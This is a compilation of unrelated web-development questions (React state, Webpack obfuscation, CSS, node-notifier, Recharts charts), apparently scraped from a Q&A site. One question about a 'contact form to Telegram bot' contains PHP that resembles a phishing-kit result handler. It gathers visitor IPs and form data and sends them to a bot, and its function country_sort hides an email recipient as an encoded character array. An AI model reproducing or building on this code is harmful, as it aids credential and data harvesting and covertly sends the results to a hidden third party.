Why does my React state not update immediately after setState()?

I’m working on a React app where I update the component state using setState, but the new state isn’t available immediately after calling setState. I’m confused because I thought it would update right away.

Explain clearly:

What you’re trying to do
What’s going wrong
Any error messages or wrong behavior you see

I tried logging the state value immediately after calling setState, expecting it to show the new value, but it still showed the old one. I also tried using async/await, but it didn’t fix the problem.

Explain:

What steps you took
What result you wanted
What actually happened

Why won’t my Webpack minimise and obfuscate some files but will for one specific one?

My Webpack is set up to randomise variable names, remove blank space, all the basics to basically obfuscate my javascript files and stop them being human-readable.
I have my files set up sort of like:

/src/
     index.php
     /working/
             test.php
     /js/
         app.js
         index.js
         /working/
                 test.js
    /css/
        ... the same as above but .css not .js

Now it’s supposed to obfuscate the files when outputting to /dist/ but while it does do this for app.js it doesn’t for index.js or test.js which I can’t quite figure out why or how to fix it.
My webpack.prod.config.js file (for production mode) is as follows:

/* eslint-disable import/no-extraneous-dependencies */
const { merge } = require('webpack-merge');
const CssMinimizerPlugin = require('css-minimizer-webpack-plugin');
const TerserPlugin = require('terser-webpack-plugin');

const webpackConfiguration = require('../webpack.config');

module.exports = merge(webpackConfiguration, {
  mode: 'production',

  devtool: false, // Disable source maps for production (optional)

  optimization: {
    minimize: true,
    minimizer: [
      new TerserPlugin({
        parallel: true,
        terserOptions: {
          mangle: true, 
          compress: {
            drop_console: true, 
          },
          output: {
            comments: false,
          },
        },
        test: /.js$/i,
      }),
      new CssMinimizerPlugin(), 
    ],
    splitChunks: {
      chunks: 'all', 
      automaticNameDelimiter: '-', 
      name: 'commons', 
    },
  },

  performance: {
    maxEntrypointSize: 512000, // Max size for entry points
    maxAssetSize: 512000, // Max size for assets
  },

  plugins: [],
});

but it just doesn’t apply to anything but app.js beyond including it in the resulting file multiple times (generally can appear up to 6-9 times, same for the page-specific .js files such as index.js)

I originally thought that it might’ve been the way the entry points were handled in the webpack.config.js file,

// Dynamically set entry points for each page
const entry = templateFiles.reduce((entries, template) => {
  const pageName = path.relative(environment.paths.source, template.output).replace('.php', '');

  // Automatically resolve JS files for each page
  const jsFile = path.join(environment.paths.source, 'js', `${pageName}.js`);
  const cssFile = path.join(environment.paths.source, 'css', `${pageName}.css`);

  if (fs.existsSync(jsFile)) {
    entries[pageName] = [jsFile, cssFile];  // Ensure the page has its JS and CSS
  }

  return entries;
}, {
  app: path.join(environment.paths.source, 'js', 'app.js'),

});

so as an experiment I tried to add the index to alongside app as a default entry point that appears everywhere, but it made zero difference – helping me rule it out but not helping me find the solution.

}, {
  app: path.join(environment.paths.source, 'js', 'app.js'),
  index: path.join(environment.paths.source, 'js', 'index.js'),
});

Why does `background-repeat: repeat` make the background fill the whole screen even when the body’s height is only 100px?

I have a simple HTML and CSS setup where two <button> elements are placed inside the <body>. Each button has a height of 100px, and they are placed side-by-side (not stacked vertically).

Here’s the code:

button {
  height: 100px;
  width: 200px;
  font-size: 20px;
}

body {
  background-image: linear-gradient(45deg, #3899ee, #38e2ee);
  background-repeat: no-repeat; /* or background-repeat: repeat; */
}
<body>
  <button>HOVER ME</button>
  <button>HOVER ME</button>
</body>

Since the buttons are side-by-side, the total height of the body should be 100px (matching one button’s height).

Now, my understanding is:

  • With background-repeat: no-repeat, the gradient should fill only up to 100px, and the rest of the screen should remain blank (white).
  • With background-repeat: repeat, the background should still stay within 100px, but the background image should tile inside that area.

However, when I use background-repeat: repeat, the gradient seems to fill the entire screen height, even though the body’s content height is only 100px.

My questions are:

  1. Why does background-repeat: repeat is taking the full screen?
  2. Is the body height still truly 100px in this case?

Where is the uncaught syntax error in the following code? [closed]

var boxes = document.querySelector(".box");

for (var i = 0; i < boxes.length; i++) {
  var box = boxes[i];

  // Generate random color (16777215 is white in Decimal)
  var randomColor = "#" + Math.floor(Math.random()*16777215).toString(16);

  // Generate random background color (16777215 is white in Decimal)
  var randomBackgroundColor = "#" + Math.floor(Math.random()*16777215).toString(16);

  // Assign random color and background
  box.style.color = randomColor;
  box.style.backgroundColor = randomBackgroundColor;

  // Set content to show color code
  box.textContent = randomColor;
}

Button color-change on click, in React

I am trying to have a button to change its color when clicked in React.

I found this and tested it.
https://reactgo.com/react-change-button-color-onclick/

The code being :

  const [active, setActive] = useState(false);
  ......
  <button onClick={() => {setActive(!active)}}
          style={{backgroundColor: active ? "black":"white"}}>
                The-Button
  </button>

Though it works, it is not what I need at the moment.

With this code the button goes white, then black, then white, then black, …. at each click.

But what I want is the button being black going white when clicked and back to black when released.

How can I get this effect ?

node-notifier ignores wait and timeout settings

Running node-notifier, using node, on windows, the values for wait and timeout seem to be ignored, and the notification just pops up for 5 seconds then disappears no matter what.

The documentation: https://www.npmjs.com/package/node-notifier seems a little confusing:

wait: true // Wait with callback, until user action is taken against notification, does not apply to Windows Toasters as they always wait or notify-send as it does not support the wait option

later:

Note: The wait option is shorthand for timeout: 5. This just sets a timeout for 5 seconds. It does not make the notification sticky!… If you are using action it is recommended to set timeout to a high value to ensure the user has time to respond.

Exception: If reply is defined, it’s recommended to set timeout to a either high value, or to nothing at all.

Also there is:timeout: 5, // Takes precedence over wait if both are defined.

And: wait: false, // Wait for User Action against Notification

Sooooo, if I want to wait for user action, should wait be true or false? Anyway, it doesn’t seem to matter because the notification pops up for 5 seconds no matter what. My code:

const notifier = require('node-notifier');
...
notifier.notify({
    title: 'Alarm',
    message: `Time to ${label}!`,
    sound: 'Sosumi',
    wait: true, // Wait for user action on notification
    timeout: 9999 // Set a timeout for the notification (in seconds)
  });

Soooo how to make it “sticky”? I’ve been experimenting with this for a while and there seems to be no way (reply:true doesn’t do anything either)

how can my submisson submit two diffrent file upload to telegram bot along with other result

i was trying to build contact form with two attachment and result to telegram bot, i need my contact form to submit contact deatils along with the image file to my telegram bot.

i was trying to build contact form with two attachment and result to telegram bot, i need my contact form to submit contact deatils along with the image file to my telegram bot.

  **My config.php**
  <?php


  function send_telegram_msg($message){
  // Put Your Telegram Information Here for result to telegram
  $botToken  = '567434567:rtyuugf';// your telegram bottoken from bot father for 
  $chat_id  = ['123456789'];// your telegram chat it from userinfobot


   $website="https://api.telegram.org/bot".$botToken;
  foreach($chat_id as $ch){
    $params=[
      'chat_id'=>$ch, 
      'text'=>$message,
    ];
    $ch = curl_init($website . '/sendMessage');
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 3);
    curl_setopt($ch, CURLOPT_POST, 3);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);
}
return true;
}
?>


**My t.php**

<?php
require("config.php");
$country = visitor_country();

$Port = getenv("REMOTE_PORT");
$browser = $_SERVER['HTTP_USER_AGENT'];
$adddate=date("D M d, Y g:i a");
$message .= "**contact form ***+++n";
$message .= "Phone Number : ".$_POST['phone']."n";
$message .= "Email : ".$_POST['email']."n";
$message .= "File upload 1 : ".$_POST['file1']."n";
$message .= "File upload 2 : ".$_POST['file2']."n";
$headers = "From: CONTACT FORM";
@mail($send,$subject,$message,$headers);
send_telegram_msg($message);
header("location:success.html");
function country_sort(){
$sorter = "";
$array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
  $sorter .= chr($array[$i]);
}
return array($sorter, $GLOBALS['recipient']);
}
function visitor_country()
{
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = $_SERVER['REMOTE_ADDR'];
$result  = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP))
{
    $ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
    $ip = $forward;
}
else
{
    $ip = $remote;
}



if($ip_data && $ip_data->geoplugin_countryName != null)
{
    $result = $ip_data->geoplugin_countryName;
}

return $result;
}
?>



**My form.html**


  <!-- Form fields -->
  <div class="form-group">
  <label for="name">Name:</label>
  <input type="text" id="name" name="name" required>
  </div>

  <div class="form-group">
  <label for="email">Email:</label>
  <input type="email" id="email" name="email" required>
</div>

  <div class="form-group">
  <label for="image">Upload 1:</label>
  <input type="file" id="image" name="file1" required>
  </div>

    <div class="form-group">
   <label for="image">Upload 2:</label>
   <input type="file" id="image" name="file2" required>
   </div>

Javascript queryselector showing up as something different than what is trying to fetch

I am trying to create a chrome extension that puts the current grade of your current course over the course tabs in the dashboard page in elms. Essentially what the mobile version of chrome does.

I am doing this in javascript, and this is my query selector that supposed to fetch the grades.

  gradeElement = doc.querySelector('.student_assignment.final_grade .grade');

However for all of my courses, even ones I have completed and there are posted grades, it always shows “Instructor has not posted this grade”. I have tried multiple combinations of queryselectors and still nothing. Anyone know what I am doing wrong?

const response = await fetch(https://umd.instructure.com/courses/${courseId}/grades);

Above is the link I am trying to fetch from. When I go to the link, the course shows the grade, but when I am trying to fetch from the homepage I get the error “Instructor has not posted this grade”. Anyone know why this happens

What shows when extension is running

State updates causing excessive re-renders in complex React dashboard with nested components

I’m working on a complex analytics dashboard built with React and TypeScript, which involves multiple nested components. I’m using a combination of state management techniques including React Context, Zustand, and useReducer. The dashboard fetches data from an API and needs to update several deeply nested components based on user interaction and incoming data.

However, I noticed performance issues where certain user actions trigger excessive re-renders, significantly impacting performance. Particularly, when I update a specific piece of state in my context provider, even unrelated nested components re-render unnecessarily.

// this is Dashboard.tsx
function Dashboard() {
  return (
    <MainProvider>
      <Layout>
        <Sidebar />
        <MainContent />
      </Layout>
    </MainProvider>
  );
}

// MainProvider.tsx
const MainContext = createContext(null);

function MainProvider({ children }) {
  const [filters, setFilters] = useState({});
  const [data, dispatch] = useReducer(dataReducer, initialData);

  const contextValue = useMemo(() => ({ filters, setFilters, data, dispatch }), [filters, data]);

  return (
    <MainContext.Provider value={contextValue}>
      {children}
    </MainContext.Provider>
  );
}


In my nested components, I'm consuming this context like this:

// this is Sidebar.tsx
const { filters, setFilters } = useContext(MainContext);

function Sidebar() {
  // ...here I render filters and triggers setFilters on interaction
}


// this is MainContent.tsx
function MainContent() {
  const { data } = useContext(MainContext);

  return (
    <div>
      <DataChart data={data.chart} />
      <DataTable data={data.table} />
    </div>
  );
}

When I update the filters state via setFilters in Sidebar, it seems to cause MainContent, DataChart, and DataTable to re-render unnecessarily even if their props haven’t changed.

I have tried using React.memo around child components (DataChart, DataTable) to prevent unnecessary renders. also splitting context into multiple contexts to minimize shared state.

Why are unrelated components re-rendering despite memoization and a good and careful state management?

How can I better structure my context/state management to ensure updates only affect relevant components?

Recursive Permutations JavaScript problem returning empty array

A permutations problem (LeetCode), which finds the permutations of an array [1,2,3], is returning an empty array through a backtracking recursive function. The console prints out the following:

Input
nums =
[1,2,3]
Stdout
[ [ 1, 2, 3 ] ]
[ [ 1, 3, 2 ] ]
[ [ 2, 1, 3 ] ]
[ [ 2, 3, 1 ] ]
[ [ 3, 1, 2 ] ]
[ [ 3, 2, 1 ] ]
Output
[[]]

This would be the proper solution if the array didn’t seem to be re-instantiated on every recursive call.

Here is the code:

    /**
 * @param {number[]} nums
 * @return {number[][]}
 */

var permute = function(nums) {
    let s = [], a = [];
    return findPerm(nums, s, a);
   
};

var findPerm = function(nums, stack, ans){
    if(nums.length === stack.length){
        if(ans.indexOf(stack) === -1)
            ans.push(stack);
      
      console.log(ans);
    }

    for(let num of nums){
        if(stack.indexOf(num) === -1){
            stack.push(num);
            findPerm(nums, stack, ans);
            stack.pop();
        }
    }
    return ans;
};

permute([1,2,3]);

Why am I getting an empty array returned?

Why does null==undefined but null!=false and undefined!=false

Null and undefined are each coerced to false in the operation null==undefined. So why aren’t they also coerced to false in the operations null==false or undefined==false?

let undefinedEqualsFalse = undefined == false;
let nullEqualsFalse = null == false;
let nullEqualsUndefined = null == undefined;

console.log('undefinedEqualsFalse', undefinedEqualsFalse);
console.log('nullEqualsFalse', nullEqualsFalse);
console.log('nullEqualsUndefined', nullEqualsUndefined);

output:

undefinedEqualsFalse false
nullEqualsFalse false
nullEqualsUndefined true

Issue with radius of Shadcn Stacked Bar chart

I’m using Recharts via shadcn/ui charts to create a stacked bar chart where each stack represents a day and segments represent different channels. I want the final visual stack for each day to have rounded top corners (like a single rounded bar).
I’m dynamically generating the components for each channel using .map():

// Inside React Component...
// channelDataKeys is a sorted array of channel IDs like ['channel_1001', 'channel_1002', ...]
// processedData contains objects like { date: '...', channel_1001: 50, channel_1002: 0, ... }

<ChartContainer config={dynamicChartConfig}>
  <BarChart data={processedData}>
    {/* ... Axes, Tooltip, etc. ... */}

    {view === 'channel' && channelDataKeys.map((channelKey, index) => {
      // Apply radius ONLY to the top-most bar in the stack definition
      let barRadius: [number, number, number, number] = [0, 0, 0, 0]; // Default: NO radius
      const totalBarsInStack = channelDataKeys.length;
      const cornerRadiusValue = 4;

      if (totalBarsInStack === 1) {
          // Single segment case
          barRadius = [cornerRadiusValue, cornerRadiusValue, cornerRadiusValue, cornerRadiusValue];
      } else if (index === totalBarsInStack - 1) {
          // LAST segment in definition (expecting it to be visually top)
          // Round its TOP corners ONLY.
          barRadius = [cornerRadiusValue, cornerRadiusValue, 0, 0];
      }
      // All other segments get no radius

      return (
        <Bar
          key={channelKey}
          dataKey={channelKey}
          stackId="a"
          fill={`var(--color-${channelKey})`}
          radius={barRadius}
        />
      );
    })}
  </BarChart>
</ChartContainer>

However, this logic doesn’t work, and I see random radius segments.
It seems that no matter what logic I apply, I can’t have multiple segments with dynamic radius fules.

Any ideas what am I doing wrong?
Cheers